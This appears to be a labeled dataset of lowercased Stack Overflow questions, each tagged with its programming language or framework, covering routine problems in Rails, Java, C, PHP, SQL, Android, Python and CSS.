get attribute values at beginning and end of a date range  i have a database table <strong>stockmovements</strong> with columns date  product  units type  stock. stock saves the value of stock at that date when a certain stock movement was done. type can be purchase or sold or return.     i group by product so that any row of the table in my view shows a product. then i want to create 2 columns. stock start and stock end. showing stock values at the first and last date of a date range. so that later let say i apply i filter 1st october - 31st october the 2 columns will show stock value at 1st october and stock value at 31st october.     if no filters are applied columns will show stock value of earliest and latest stockmovement among all values in database.    and in the middle columns to show units for each stockmovement type. so that in the end will be product  stock start  purchased  sold  returned  stock end. this is just to give an idea about the general logic but it doesn t really matter for the question.     i have this in my controller:   <pre><code>@stockmovements = stockmovement.all.group(:product) </code></pre>   what should i add to my view:   <pre><code> &lt;td&gt;&lt;%= number_to_human stockmovement.stock  precision: 0 %&gt;&lt;/td&gt; </code></pre>   to get the stock values at beginning and end of the date range  or should this be done in the model  i basically need stock where date= start date and stock where date= end date. but i can t find any helper to do that.,ruby-on-rails
find the last index of a bracket without counting the inside brackets in java  i m making a calculator and i m pretty new to java. i want my calculator to be able to calculate cosinus  sinus and tangens which i m struggling with.    my main problem is to only calculate f.ex. cosinus of a string that looks like this:  cos(10)+(30) . you can see my code below.   <pre><code>string formula =  cos(10)+(30) ;  if (formula.contains( cos )  {      string aftercos = (formula.substring(formula.lastindexof( cos )  formula.length()));      int countopen = (aftercos.length())-(aftercos.replace( (     ).length());     int countclosed = (aftercos.length())-(aftercos.replace( )     ).length());      while (countopen &gt;= countclosed)      {          if ((countopen-countclosed) == 0)           {             string inside = aftercos.substring(aftercos.indexof( ( )+1  aftercos.lastindexof( ) ));             system.out.println(inside);         }         break;     } } </code></pre>   after this the string <code>inside</code> will be <code>10)+30</code>. how can i get it to only focus on the bracket after the <code>10</code>   on a side note i also need it to be able to handle multiple brackets inside of the cos-brackets.    thanks for the help in advance :),java
how can i access an outlet from my controller class in the app delegate class   i want to change an image of an uiimageview from the applicationdidfinishlaunching method of the app delegate class. but i am afraid that this class doesnt know much about the controller outlet. what must i do in this case,iphone
rails: link_to method  i have something like this:   <pre><code>&lt;p&gt;   &lt;b&gt;tags:&lt;/b&gt;   &lt;%if @post.tags.count &gt; 0%&gt;     &lt;%= @post.tags.collect {|c| (link_to c.name  c)}.join(    )%&gt;   &lt;%else%&gt;     does not have any tags.   &lt;%end%&gt; &lt;/p&gt; </code></pre>   which gives me    <pre><code>tags: &lt;a href= /tags/1 &gt;java&lt;/a&gt;  &lt;a href= /tags/2 &gt;css&lt;/a&gt; </code></pre>   instead of java and css links. what am i missing,ruby-on-rails
is_int(null) is not working in switch case  expect you have following situation:   <pre><code>$myvar = null;  switch($myvar) {     case is_int($myvar):         echo  i am an int ;         break;     case null:         echo  i am null ;         break;     default:         echo  failure ; } </code></pre>   the result is  i am an int . but i expected  i am null  as a result.    is this a bug in php (my version: 5.5.11) or natural behaviour,php
always present locked screen notification   i want my app to be quickly accessible between pre-set hours  say 9am to 5am mon-fri from the locked screen so swiping right on the notification will take you directly to the app. is there a way of making this notification  shortcut  always present on the locked screen during those pre-specified times     or if not  is there a way around it  e.g. make the notification pop-up 1 minute after the person locks their screen everytime     thanks,ios
rails - gem to letterize money   i need to letterize a money data just like in cheque.    so if i have <code>$ 85700</code>  i need to letterize it into <code>eighty five thousand seven hundred dollars</code> or something like that.    is there gem that helps us create that     i have been searching for a while but can t seem to get the right search query.    [edit]    using the gem mentioned below  it converts the number into words. but the decimal point is called  hundredths . so  i replace it with  cents :   <pre><code>words = digit.to_f.to_words words[ hundredths ] =  cents  </code></pre>,ruby-on-rails
observe_field in a rails 2.2.2 app is not saving checkbox value  i have the following form in a rails app which is not working:   <pre><code>&lt;% form_remote_for :team  do |f| %&gt;   &lt;tr&gt;     &lt;% 1.upto(12) do |i| %&gt;       &lt;td&gt;         &lt;%= f.check_box @mo[i] %&gt;         &lt;%= observe_field  team_  + @mo[i]             :method =&gt; :put            :with =&gt;  $(@mo[i] +  = ) + $( team_ +@mo[i]).value  %&gt;       &lt;/td&gt;     &lt;% end %&gt;   &lt;/tr&gt; &lt;% end %&gt; </code></pre>   @mo[i] is the name of the field in the database (e.g. jan  feb  mar ... dcm). the code would look like this if i were to write them all out:   <pre><code>&lt;% form_remote_for :team  do |f| %&gt;   &lt;tr&gt;     &lt;td&gt;         &lt;%= f.check_box :jan %&gt;         &lt;%= observe_field  team_jan              :method =&gt; :put            :with =&gt;   jan=  + $( team_jan ).value      &lt;/td&gt;     ...   &lt;/tr&gt; &lt;% end %&gt; </code></pre>   thanks for your help.,ruby-on-rails
angularjs shows undefined function for controller  i have just created a simple app. route for <code>main controller</code> is working but not for another one. this is the part of the code of route file   <pre><code>$routeprovider   .when( /   {     templateurl:  app/main/main.html       controller:  maincontroller       controlleras:  main    })   .when( /signatures   {     templateurl:  app/components/signature/signature.html       controller:  signaturecontroller       controlleras:  signature       resolve: {       signaturelists: function(signatureservice){         return signatureservice.getsignatures();       }     }   })   .otherwise({     redirectto:  /    }); </code></pre>   and below is the controller   <pre><code>(function() {    use strict ;    angular     .module( demoapp )     .controller( signaturecontroller   signaturecontroller);    /** @nginject */   function signaturecontroller(signaturelists) {     var vm = this;     vm.signatures = signaturelists;   } }) </code></pre>   i have defined the module in another file:   <pre><code>(function() {    use strict ;    angular     .module( demoapp   [ ngroute    toastr ]);  })(); </code></pre>   when i try to visit <code>/signatures</code> page  i get this error:   <blockquote>    error: [ng:areq] argument  signaturecontroller  is not a function  got undefined  </blockquote>   maybe its just a silly error due to a typo or something else but still i can t figure it out,angularjs
dynamically instantiating abstract subclass  first i have to say i am real new to java. so all apologize if my question sound stupid but i haven t been able to find a solution so far...    i would like to dynamically instantiate a abstract class subclass.    this is the code   <pre><code>public class commandmap implements handler.callback {     private hashmap &lt;integer  class&lt;  extends abstractcommand&gt; &gt; __commandhashmap;      protected commandmap()     {         __commandhashmap = new hashmap&lt;integer  class&lt;  extends abstractcommand&gt;&gt;();     }      /**      * map an id  to a command      * @param what id used in the message sent      * @param command command to be executed      */     public void mapwhat(integer what  class&lt;  extends abstractcommand&gt; command)     {         if ( !__commandhashmap.containskey(what) )         {             __commandhashmap.put(what  command);         }     }      /**      * unmap the id/command pair      * @param what id      */     public void unmapwhat(integer what)     {         if ( __commandhashmap.containskey(what) )         {             __commandhashmap.remove(what);         }     }      public boolean handlemessage (message message)     {     //  call the corresponding command         if ( __commandhashmap.containskey(message.what) )         {             class&lt;  extends abstractcommand&gt; commandclass = __commandhashmap.get(message.what);             abstractcommand command = commandclass.getclass().newinstance();         }         return true; // for now         } } </code></pre>   when doing so the part   <pre><code>abstractcommand command = commandclass.getclass().newinstance(); </code></pre>   is giving me an error (illegalaccessexception and instantiationexception) in my ide (not at compile time as i haven t tried it yet)     so i surround it with try/catch like this   <pre><code>public boolean handlemessage (message message) { //  call the corresponding command     if ( __commandhashmap.containskey(message.what) )     {         class&lt;  extends abstractcommand&gt; commandclass = __commandhashmap.get(message.what);         try         {             abstractcommand command = commandclass.getclass().newinstance();         }         catch (illegalaccessexception e)         {             e.printstacktrace();  //to change body of catch statement use file | settings | file templates.         }         catch (instantiationexception e)         {             e.printstacktrace();  //to change body of catch statement use file | settings | file templates.         }     }     return true; // for now } </code></pre>   but then it tells me that the type class (sent by the newinstance() ) is obvisouly not of type abstractcommand.    when trying to cast class to abstractcommand doing   <pre><code>abstractcommand command = (abstractcommand) commandclass.getclass().newinstance(); </code></pre>   it tells me that class cannot be cast to abstractcommand.    so i was wondering what i am doing wrong      thanks again for any help you could provide.,java
why there is no infinite loop when embedded class inherits the outer class <pre><code>template&lt;typename... ta&gt; struct aaa {     template&lt;typename tb&gt;     struct bbb : aaa&lt;ta...  someclass&lt;tb&gt;&gt;     {} }; </code></pre>   i have seen the above code and have difficulties to understand the theory behind the code.    question 1> is there a specific concept that describe the usage of this pattern  any reference i can refer to     question 2> why the definition of struct bbb doesn t cause infinite loop     thank you,c++
is this possible to run the app with a binary file with no iphone sdk   i want to give my app to others  but they don t have the iphone sdk.  if i give the binary file of my app  is it possible that they can run the app on their device,iphone
linkedlist and segmentaion fault  this is my code.   <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; struct prefix {    unsigned int ip ;    unsigned char len ;   struct prefix *next ;  }; typedef struct prefix prefix ; int cal(int d){    int i   sum ;    sum = 2 ;    for( i = 0 ; i &lt; d-1 ; i++)      sum = sum * 2 ;       return sum+1 ; }   prefix *insert_a_node(prefix *head prefix *node ){     prefix *cur ;       cur = head ;     if(head == null)         return node ;     if( node == null )        return head ;     if( node-&gt;ip &lt; head-&gt;ip)       { node-&gt;next = head ;           return node ;  }     while( cur-&gt;next != null &amp;&amp; cur-&gt;next-&gt;ip &lt;= node-&gt;ip)         cur = cur-&gt;next ;        node-&gt;next = cur-&gt;next ;        cur-&gt;next = node ;       return head ;                        }  void insert_prefix(prefix *group_head prefix *node){   int i = 0;   prefix *t;    if(node == null) return;   if(group_head-&gt;next == null)         {          group_head-&gt;next=node;           return ;         }   if(node-&gt;ip &lt;= group_head-&gt;next-&gt;ip)         {         node-&gt;next = group_head-&gt;next ;         group_head-&gt;next=node;          return ;         }   t = group_head-&gt;next ;  if(t-&gt;next==null)    {  t-&gt;next=node;        return;}   while(t-&gt;next!=null &amp;&amp; t-&gt;next-&gt;ip &lt; node-&gt;ip)         t=t-&gt;next;  if(t-&gt;next==null)      { t-&gt;next=node;         return;}    else{     node-&gt;next=t-&gt;next;     t-&gt;next=node;      return;} } prefix *build_list_no_order(prefix *head prefix *node){       if (head == null)          return node ;      if (node == null)         return head ;    prefix *cur ;      cur = head ;    while ( cur-&gt;next != null)     cur = cur-&gt;next ;     cur-&gt;next = node ;   return head ;   }  prefix *build_routing_table(){     int a[5] i ;    int ip = 0 ;   prefix *head ;       head =  null ;  file *ofp ;  ofp = fopen( routing_table   r ) ;  while( fscanf(ofp  %d.%d.%d.%d/%d  &amp;a[0] &amp;a[1] &amp;a[2] &amp;a[3] &amp;a[4]) != eof){        prefix *node = (prefix*)malloc(sizeof(prefix)) ;    for ( i =0 ; i &lt; 4 ; i++)    {  ip = ip + a[i] ;     if ( i != 3 )       ip = ip&lt;&lt;8 ;  }         node-&gt;ip = ip ;         ip = 0 ;         node-&gt;len=a[4];       head = build_list_no_order(head node);  }  fclose(ofp);     return head ;      }  void segment(int d prefix *rout  prefix group[] int each_seg_num[]){    int index=0 i;  if(rout-&gt;len &lt; d)       index = cal(d)-1;  else{    for(i=31 ; i&gt;31-d ; i--){     if( ( rout-&gt;ip &amp; 1&lt;&lt;i ) &amp;&amp; ( i!=32-d))         {index++;         index=index&lt;&lt;1;}     if( (rout-&gt;ip &amp; 1&lt;&lt;i) &amp;&amp; i==32-d)         index++;     if( !(rout-&gt;ip &amp; 1&lt;&lt;i) &amp;&amp; i!=32-d)         index=index&lt;&lt;1;                            }       }    each_seg_num[index]++;    insert_prefix(&amp;group[index] rout);     return ;    } int main ( int argc   char *argv[]){   prefix *routing_head;   prefix *trace_head;   prefix *node;   int d = 5   i ; //need use argc finally   int group_num;   group_num = cal(d);   prefix group[group_num] ;   int each_seg_num[group_num];  for( i = 0 ; i &lt; group_num ; i++)   each_seg_num[i] = 0;   routing_head = build_routing_table();  int count = 1200 ;  while(routing_head != null &amp;&amp;count&gt;=0){    node = routing_head ;    routing_head = routing_head-&gt;next ;    node-&gt;next = null ;    segment(d node group each_seg_num);     count--;      }  for( i = 0 ; i &lt; group_num ; i++)    printf( %d\n  each_seg_num[i]);       return 0 ; } </code></pre>   let me explain what i was doing now.    first i read 80000 data from routing_table ( each data have similar format like  2.10.120.20/8  and i store it in  prefix s ip(unsigned int  ) you can call it ip/prefix length).<br> then  i want segment these data into different group (each group is one linked list) the number is decided by int d  assume d=2  so  i have 2^2+1 group. due to each data s first  d  bit  we can determine which group should data go.<br> example : ip(in binary):01000011......   it should get into group[1]<br>           ip  : 1000001.....     should get into group[2]<br>    and if prefix len &lt; d   such as  ip: 1********(* means dont care bit) it should get into special group   group[4].<br> third   each linkedlist should in order ( small to big)    problem : i think i have already finish almost code  but when i execute my program it have segmentation fault. but most surprise me is that when i use int count to restrict how many data pass into segment()  the program can work !!<br> the code can work less than pass about 1000 data. i want to know how to solve my problem  thank you for reading my question.    .....last  my english maybe is not good enough to explain the question perfectly.....please forgive me ^^,c
css -webkit-appearance: none; is causing checkbox to not be checked  all  i have a checkbox that i applied the following css style to:   <pre><code>-webkit-appearance: none; </code></pre>   this same code is on some text fields i have and these still continue to work just fine. why is this functionality causing the checkbox to not allowed to be checked     i like the styling of the checkbox this way but still need the functionality to work. if i change the code to:   <pre><code>-webkit-appearance: checkbox; </code></pre>   it displays the standard checkbox. any ideas  here is a js fiddle for demonstration purposes: <a href= http://jsfiddle.net/vwc76/  rel= noreferrer >http://jsfiddle.net/vwc76/</a>,css
why is this unusual objective-c design pattern a bad idea   i ve recently joined a new project with a large existing codebase which makes frequent use of a pattern i ve never come across before either in practice or in any of the literature.    as an example:    classa.h   <pre><code>@interface classa : uiviewcontroller @end </code></pre>   classa.m   <pre><code>@interface classa () @property (nonatomic weak) iboutlet uilabel *labelone; @property (nonatomic weak) iboutlet uilabel *labeltwo; @end  @implementation classa //... @end </code></pre>   classahelper.h   <pre><code>@interface classahelper : nsobject - (void)configureclassa:(classa *)classa; @end </code></pre>   classahelper.m   <pre><code>// here s the  interesting  bit @interface classa () @property (nonatomic weak) uilabel *labeltwo; @end  @implementation classahelper  - (void)configureclassa:(classa *)classa {     classa.labeltwo.text = @ wtf  ; }  @end </code></pre>   so basically  classes are declared with no (or very little) external interface  and access to those class s properties is achieved by declaring those properties the accessing class is interested in an anonymous category inside the implementation file of the accessing class.    i know that there are no such things as truly private instance properties in objective-c  all ivars being equal before the runtime. i know that from the compiler s point of view there isn t any difference between having the anonymous category in-line in the other class s .m and #including it from a public .h. and i see how  because this second class extension isn t visible to that class s .m the compiler doesn t try to synthesise a second set of properties. however  this approach still makes me feel uneasy. unfortunately  the only practical complaint i can come up with is that using this approach means having to keep two sets of property declarations in sync.    so over to you: can you suggest a valid technical reason why this approach should be taken out behind the barn and shot  or alternatively  tell me why i ve got nothing to worry about (although i d like something a little more substantial than  well  it works  doesn t it  ).,objective-c
mysql - writing joins to get data from many-layers linked tables  i m having trouble writing the query for this specific task. here are the simplified tables:   <pre><code>`job`: job_id  school_id `school`: school_id  country_id `country`: country_id  region_id `region`: region_id  region </code></pre>   now  i m querying the <code>job</code> table to get the jobs listing  but i also need to show each job s region (i.e. europe  asia  etc.)    how do i do so giving these linked tables,mysql
c++ program giving different results on different computers  my code is printing 192 for the input 100 (which is the desired result). but when i submit it on the online judge  it shows that the output of my program for the input 100 is 190. i copied and pasted the code in ideone.com and for input 100 i got result 192. i send it to my friend and on his pc the output is 190. but he also submitted the code onto ideone.com and got 192. what s the problem  here s my code:   <pre><code>#include &lt;bits/stdc++.h&gt; using namespace std;  typedef long long int lli;  int main(){    lli in ans = 0;    cin &gt;&gt; in;     if(in &lt; 10)        cout &lt;&lt; in &lt;&lt; endl;    else{       lli digits = 0;       lli temp = in;       while(temp &gt; 0){          digits++;          temp /= 10;       }      digits--;       while(in &gt; 0){          //cout &lt;&lt;  in:   &lt;&lt; in &lt;&lt; endl;          //cout &lt;&lt;  digits:   &lt;&lt; digits &lt;&lt; endl;           ans += ((in - (pow(10 digits) - 1)) * (digits + 1));          in = in -  (in - (pow(10 digits) - 1));          digits--;           if(in == 9){             ans+= 9;             break;          }       }        cout &lt;&lt; ans &lt;&lt; endl;    } } </code></pre>   ideone link: <a href= http://ideone.com/zovhzw  rel= nofollow >http://ideone.com/zovhzw</a>    why is this happening  i understand that it may be a compiler issue but what is really going on in here,c++
how i group all row data by months and not eliminate with some date using group by  i`m having a hard time trying to group all row data by dates. this is my table   <pre><code>id     date       company ---|----------|-------------  1 |2017-06-25|   inzpect  2 |2017-07-04|   inzpect    3 |2017-06-25|   meralco  4 |2017-06-27|   ginebra  5 |2017-06-26|   inzpect </code></pre>   and this is my sql   <pre><code>select date  company from tbl_reports where year(date) =  2017  group by date </code></pre>   this is the result i get to my sql   <pre><code>    date       company ------------|----------  2017-06-25 |  inzpect  2017-06-26 |  inzpect    2017-06-27 |  ginebra  2017-07-04 |  inzpect   </code></pre>   why it does not get all the data from my table and eliminate 1 of my row    the thing i want to get is i want to get all rows and group it by dates but it always elimante some row with the same date :/ .    <pre><code>   date       company ------------|----------  2017-06-25 |  inzpect  2017-06-25 |  meralco  2017-06-26 |  inzpect    2017-06-27 |  ginebra  2017-07-04 |  inzpect  </code></pre>   can you help me guys :(,mysql
how to echo 0  when not check checkbox   how to echo 0  when not check checkbox      when press submit button  it s will echo 11 but i want to echo 101 (echo 0 for not checked ckeckbox).    how can i do that     <pre><code>&lt;form id= form02  name= form02  method= post &gt;     &lt;input name= h_type[]  type= checkbox  id= h_type[]  value= 0  checked/&gt;&lt;input  type= hidden  name= more[]  value= 1 &gt; &lt;br/&gt;     &lt;input name= h_type[]  type= checkbox  id= h_type[]  value= 1  /&gt;&lt;input  type= hidden  name= more[]  value= 1 &gt; &lt;br/&gt;     &lt;input name= h_type[]  type= checkbox  id= h_type[]  value= 2  checked/&gt;&lt;input  type= hidden  name= more[]  value= 1 &gt; &lt;br/&gt;         &lt;input type= submit  name= button  id= button  value= submit  /&gt; &lt;/form&gt;   &lt; php $data_h_type=$_post[ h_type ]; $data_more=$_post[ more ];  if(count($data_h_type)&gt;0){     foreach($data_h_type as $key=&gt;$value){           echo $data_more[$value];                   echo  &lt;br&gt; ;     }    }   &gt; </code></pre>,php
stop cursor blinknig on web page  when i click on web page the cursor start blinking and adjust its height according to table size. i want to stop that blinking. is there any solution,html
how to retrive a particular data in the sqlite database in android   i am having an error in my logcat. here   <pre><code>caused by: android.database.sqlite.sqliteexception: table japanesebaybayin already exists (code 1):   while compiling: create table japanesebaybayin (_id integer  language_japanesetext  language_japaneseeatext  language_tagalogtext  language_definitiontext); </code></pre>   can somebody help me to find the correct solution for this  i cannot retrieve a particular row in the database.    this is my code:   <pre><code>public class translationactivity extends activity implements onclicklistener{  protected sqlitedatabase db; protected edittext txtenglishaplha; protected textview tvdefinition; protected textview tvtagalog; public static final string key_rowid= _id ; public static final string key_japanese= language_japanese ; public static final string key_japaneseea= language_japaneseea ; public static final string key_tagalog= language_tagalog ; public static final string key_definition= language_definition ;  private final string database_name =  mydb ; private final string database_table =  japanesebaybayin ;  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.translation_main);      db =  this.openorcreatedatabase(database_name  mode_private  null);      //db.execsql( create table if not exists   +     //      database_table +     //        (rowid integer  japancharacter varchar   +     //        japanalphabet varchar  tagalog varchar    +      //        definition varchar); );      db.execsql(  create table   + database_table +   (  +             key_rowid +   integer   +              key_japanese +  text    +             key_japaneseea +  text    +             key_tagalog +  text    +             key_definition +  text);      );      db.execsql( insert into   +             database_table +               values (1  \u3042\u308a\u304c\u3068\u3046   arigato   salamat   giving thanks ); );     db.execsql( insert into   +             database_table +               values (2  \u3042\u308a\u304c\u3068\u3046   sayonara   paalam   giving goodbye ); );       //buttons     button btnsearch = (button) findviewbyid(r.id.btnsearch);     btnsearch.setonclicklistener(this);      //edit texts     txtenglishaplha = (edittext) findviewbyid(r.id.txtenglishalpha);     txtenglishaplha.requestfocus();      //text views     tvdefinition = (textview) findviewbyid(r.id.tvdefinition);     tvtagalog = (textview) findviewbyid(r.id.tvtagalog);   }  @override public boolean oncreateoptionsmenu(menu menu) {     // inflate the menu; this adds items to the action bar if it is present.     getmenuinflater().inflate(r.menu.translation  menu);     return true; }  @override public void onclick(view view) {     // todo auto-generated method stub     string tagalog=    definition=    japanalpha;     cursor cursor;     switch (view.getid()){     case r.id.btnsearch:           japanalpha = txtenglishaplha.gettext().tostring();          string[] columns = new string[] {key_japaneseea  key_tagalog  key_definition};             cursor = db.query(database_table  columns  key_japaneseea +  =  +japanalpha+     null  null  null  null);           //string qjoiner =  select japanalphabet  tagalog  definition from   +database_table+   where japanalphabet =  +japanalpha+  ; ;          //log.i( -----search table joiner-----   qjoiner);         // cursor=db.rawquery(qjoiner  null);          if(cursor != null){              cursor.movetofirst();              tagalog = cursor.getstring(cursor.getcolumnindex(key_tagalog)).tostring();              definition = cursor.getstring(cursor.getcolumnindex(key_definition)).tostring();              tvtagalog.settext(tagalog);              tvdefinition.settext(definition);          }else{                  tvtagalog.settext(tagalog);                  tvdefinition.settext(definition);          }      break;     }  }  } </code></pre>,android
checking for cookie: syntaxerror: unexpected token u  i m trying to see whether a cookie key is set:   <pre><code>if ($cookiestore.get( user )){     $scope.session.user = $cookiestore.get( user );     console.log($scope.session.user);   } </code></pre>   an i get the error on the first line. this looks simple  so what am i doing wrong     full error:   <pre><code>syntaxerror: unexpected token u     at object.parse (native)     at object.fromjson (http://localhost:8000/vendor/angular/angular.js:1139:14)     at object.get (http://localhost:8000/vendor/angular/angular-cookies/angular-cookies.js:172:34)     at new &lt;anonymous&gt; (http://localhost:8000/js/main.js:44:33)     at invoke (http://localhost:8000/vendor/angular/angular.js:3966:17)     at object.instantiate (http://localhost:8000/vendor/angular/angular.js:3977:23)     at http://localhost:8000/vendor/angular/angular.js:7281:28     at http://localhost:8000/vendor/angular/angular.js:6670:34     at foreach (http://localhost:8000/vendor/angular/angular.js:332:20)     at nodelinkfn (http://localhost:8000/vendor/angular/angular.js:6657:11) </code></pre>,angularjs
search string for string sequence  what is the most efficient way to count a number of occurrences of a substring in another string in c++  for example  i have a very huge string like   <pre><code> gqwhiwqghwggeeegqihigwhiqwghieeegphiqpiwghqpwgpheeegqihwpwgqhpqwgeee  </code></pre>   and i want to count how often <code> eee </code> occurs.    i could go step by step in a for loop and check every letter if it s an e and if so  count them and if there are 3 <code>e</code>s  increment a counter  but i guess there is a more efficient way of doing this.    maybe a string function  i just wasn t able to find or google a suitable one.    i am searching for a clean c++11 solution.,c++
i am trying to create a program to search and replace words in a text file using c  i had typed following code to implement search function only. my idea was to create a copy of the file variable  fp  in the function search  in the name  temp_fp . my problem is that  when i increment temp_fp  fp is also getting incremented. i have been spending hours to find the error. isn t it possible to create a copy of a file structure  please help me.   <pre><code>#include &lt;stdio.h&gt;  int main(void) {     file *source;     char key[100];     source = fopen( search.txt    r);     if (source == null)     {         printf( null );         return 0;     } //read keyword     scanf( %s   key);     fsearch(source  key);     fclose(source); }  int fsearch(file  fp  char *key) {     char ch  *temp;     file *temp_fp;     while (!feof(fp))     {         temp = key;         ch = fgetc(fp);         temp_fp = fp;         while ((ch == *temp))         {                         printf( ch=%c\tkey=%c\n   ch  *temp);             ch = fgetc(temp_fp);             temp++;             if (*temp ==  \0 )                 return fp;         }     } } </code></pre>,c
reload the page and visit an url without open it  how can i visit a url without open it in new tab/window      for example  i have the following html:   <pre><code>&lt;a href= http://printoriente.com/admin/archive_order_listing.php action=restore_order&amp;order_id=&lt; = $orderdetail[ orderid ]  &gt;  class= label-button  target= _blank &gt; </code></pre>   how can i make it open in the same window,html
something about php calendar  i am a new learner of php  now i want to use it to do a calendar like the following. there are something that i don t know.   <ol> <li> how to get the first day of the month is sunday or another  </li> <li> how to output all the days of the month and emphasize today  </li> </ol>   <img src= https://i.stack.imgur.com/bq4sq.jpg  alt= enter image description here >    the code:   <pre><code>&lt;table  cellspacing= 0  cellpadding= 3  bordercolor= #000000  border= 1  style= width: 105px; border-collapse: collapse; &gt;     &lt;tbody&gt;     &lt;tr&gt;         &lt;td colspan= 7 &gt;&lt; php echo date( f ).   .date( y ); &gt;&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;          &lt;td&gt;su&lt;/td&gt;          &lt;td&gt;m&lt;/td&gt;          &lt;td&gt;tu&lt;/td&gt;          &lt;td&gt;w&lt;/td&gt;          &lt;td&gt;th&lt;/td&gt;          &lt;td&gt;f&lt;/td&gt;          &lt;td&gt;sa&lt;/td&gt;      &lt;/tr&gt;      &lt; php    $numrows = ceil(date( t )/7);    for($k=1;$k&lt;=$numrows;$k++){            &gt;       &lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;         &lt; php } &gt;      &lt;/tbody&gt; &lt;/table&gt; </code></pre>   i don t know how to output the following days.,php
standard directory for installed python package s data  i m working on a package that uses data from external git repository. when it s doing its job  it first cloning git repository and then copies files from it to some other location.     where should i save this repository (and other non-python files) in my filesystem  is there any standard place for that      sure  i could just use <code>site-packages/</code> directory for my files. but the problem is  git repository could contain python packages too  and i don t want them to be importable.     is there  maybe  some way to specifically exclude some folder from <code>site-packages/</code>  i think <code>*.dist-info</code> folders are excluded  should i create a fake one for my package      thank you very much.,python
how to read a file from command line  then output a file with the same name but different extension in python  i want to read a file from command line first  then run my script and output a file with a different extension.    for example: if i do python script.py apple.java there should be an output file called banana.md    i do not want to rename the file.  dont worry about path or anything.   <pre><code>n= sys.argv[-1] base = os.path.splitext(n)[0]   os.rename(n base +  .md ) </code></pre>,python
how to make a remove  x  button on every textbox line   via a button  i transfer an article line by line to a shop (textbox). everything is going well so far. now i try to create a remove button for each line  so that erroneous entries can be deleted easily and quickly. the button appears only on the first line and i can delete the current line so not yet.    is there a way to generate that easely  thanks   <pre><code>float nummer   = 0; float zeile    = 0;         float subtotal = 0; float mwst     = 0; float total    = 0;  private void btnshop1_click(object sender  eventargs e)                                                                                                                 {     tabcontrolshop1.selectedtab = tabwarenkorbshop;      nummer = nummer + 1;                  var btn = new button();     btn.size = new size(18  18);                 btn.text =  x ;     btn.forecolor = color.black;     btn.backcolor = color.red;     //btn.click += new eventhandler(btn_click);     txtwarenkorbshop.controls.add(btn);      txtwarenkorbshop.appendtext($ {nummer}\t\thamburger_1\t{txtpreis1.text}\n );                 zeile += float.parse(txtpreis1.text);      total    = zeile;                 mwst     = total / 100 * 7;     subtotal = zeile - mwst;                 subtotal();                 total();    } </code></pre>,c#
android seterror method interfering with manually setting icons  i m using the <code>seterror</code> method to show if an <code>edittext</code> field is incorrectly filled when the focus from that field shifts away. if it s correctly filled  i m showing an icon: <code>drawable.validated</code> here s my code:   <pre><code>@override public void aftertextchanged(editable s) {     zip.setonfocuschangelistener(new view.onfocuschangelistener() {         @override         public void onfocuschange(view v  boolean hasfocus) {             if (!hasfocus) {                 if (isvalidzip(zip.gettext().tostring())) {                     zip.setcompounddrawableswithintrinsicbounds(0  0  r.drawable.validated  0);                 } else {                     zip.seterror(getstring(r.string.zip_error));                 }             }         }     }); </code></pre>   the problem is  the <code>seterror</code> method is interfering with my manually setup of icon. and thus i can t see the <code>drawable.validated</code> icon even when the field is verified.    <strong>more details on when i get the error:</strong>    <strong>case 1</strong> i fill the edittext field correctly in the very first time -> i change the focus from that field -> i can see the <code>validated</code> icon. see the following screenshot:    <a href= https://i.stack.imgur.com/o5fdm.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/o5fdm.png  alt= enter image description here ></a>    <strong>case 2</strong> i fill the <code>edittext</code> zip field <strong>incorrectly</strong> -> i change the focus to mobile number field-> i see error in zip field-> get back to the zip field and fill it correctly. error in zip disappears -> change focus to mobile number field-> now i can t see the <code>validated</code> icon in the zip field even if it is correctly filled:    <a href= https://i.stack.imgur.com/nyzim.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/nyzim.png  alt= no-validation symbol shown ></a>    <code>drawable.validated</code> is the blue-tick.    <code>12345</code> is the <code>zip</code> field    what might be the issue and how to resolve that,android
can you use the same id once for multiple html page   i understand the concept of one id in an html page. as a noob  i was just wondering if you can use the same id once for different html pages. will that be consider sloppy      for instance  <code>&lt;div id= 1 &gt;&lt;/div&gt;</code> (used only once)in index.html and used <code>&lt;div id= 1 &gt;&lt;/div&gt;</code> again in product.html. is that consider bad      i tried to do a search but found no answers. thank you!    !edit! thank you for the answer guys. appreciated!,html
mysql: compare a mixed field containing letters and numbers  i have a field in the mysql database that contains data like the following:   <pre><code>    q16     q32     l16     q4     l32     l64     q64     q8     l1     l4     q1 </code></pre>   and so forth. what i m trying to do is pull out  let s say  all the values that start with q which is easy:   <pre><code>field_name like  q%  </code></pre>   but then i want to filter let s say all the values that have a number higher than 32. as a result i m supposed to get only  q64   however  i also get q4  q8 and so for as i m comparing them as strings so only 3 and the respective digit are compared and the numbers are in general taken as single digits  not as integers. as this makes perfect sense  i m struggling to find a solution on how to perform this operation without pulling all the data out of the database  stripping out the qs and parsing it all to integers.    i did play around with the cast operator  however  it only works if the value is stored as string and it contains only digits. the parsing fails if there s another character in there..,mysql
combine two small queries (that group by different values) into one query  please take a look at the following table (called response). it shows what response a respondent has given to a question and answer.   <pre><code>questionid  answerid    respondentid        1          10        1        1          11        2        1          11        4        1          12        3        1          12        5        2          20        1        2          20        2        2          21        2        2          22        1        2          22        4        2          23        1        2          23        3        2          24        4        3          30        2        3          30        3        3          30        4        3          31        1 </code></pre>   we can run the following sql:   <pre><code>select questionid  answerid  count(respondentid) as noofrespondentstoquestionandanswer from response group by questionid  answerid </code></pre>   ... which will tell us how many respondents answered each combination of question+answer.    we can also do:   <pre><code>select questionid  count(distinct respondentid) as noofrespondentstoquestion from response group by questionid </code></pre>   ... which will tell us how many distinct respondents have answered each question.    i would like to combine the two selects to one and let the number of distinct respondents be represented on more than one row for each questionid (which would be necessary  as it s only based on question and not also on answer).    so  i would like a result like the following:   <pre><code>questionid answerid noofrespondentstoquestionandanswer noofrespondentstoquestion 1   10  1   5 1   11  2   5 1   12  2   5 2   20  2   4 2   21  1   4 2   22  2   4 2   23  2   4 2   24  1   4 3   30  3   4 3   31  1   4 </code></pre>   is it possible to acheive this with just one query,sql
